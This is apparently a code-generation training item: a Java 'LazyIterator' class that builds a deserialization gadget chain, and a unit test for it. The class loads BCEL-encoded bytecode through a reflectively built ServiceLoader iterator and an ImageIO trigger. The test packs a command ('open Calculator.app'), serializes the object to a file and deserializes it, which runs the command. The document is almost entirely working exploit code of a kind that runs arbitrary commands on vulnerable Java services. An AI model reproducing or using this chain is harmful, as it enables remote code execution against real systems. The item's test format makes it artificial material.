### Question:
LazyIterator extends Payload<Object> { @Override public Object pack(Object obj) throws Exception { String bcel = PayloadHelper.makeBCELStr((byte[]) obj); Object classLoader = PayloadHelper.makeBCELClassLoader(); Object serviceLoader = ReflectionHelper.createWithoutConstructor("java.util.ServiceLoader"); Object it = ReflectionHelper.createWithoutConstructor("java.util.ServiceLoader$LazyIterator"); ReflectionHelper.setFieldValue(it, "nextName", bcel); ReflectionHelper.setFieldValue(it, "service", Object.class); ReflectionHelper.setFieldValue(it, "loader", classLoader); ReflectionHelper.setFieldValue(it, "this$0", serviceLoader); return ImageIO.makeIteratorTriggerNative(it); }  @Override Bullet getDefaultBullet(String command); @Override Serializer<?> getSerializer(); @Override boolean checkObject(Object obj); @Override Object pack(Object obj);  }### Answer:
@Test public void pack() throws Exception { Payload payload = new LazyIterator(); Bullet bullet = payload.getDefaultBullet("open /System/Applications/Calculator.app"); payload.setBullet(bullet); Serializer serializer = payload.getSerializer(); Object obj = payload.getObject(); Object serialized = serializer.serialize(obj); System.out.println(serialized); OutputStream out = new FileOutputStream("obj1.ser"); serializer.serialize(obj, out); serializer.deserialize(serialized); }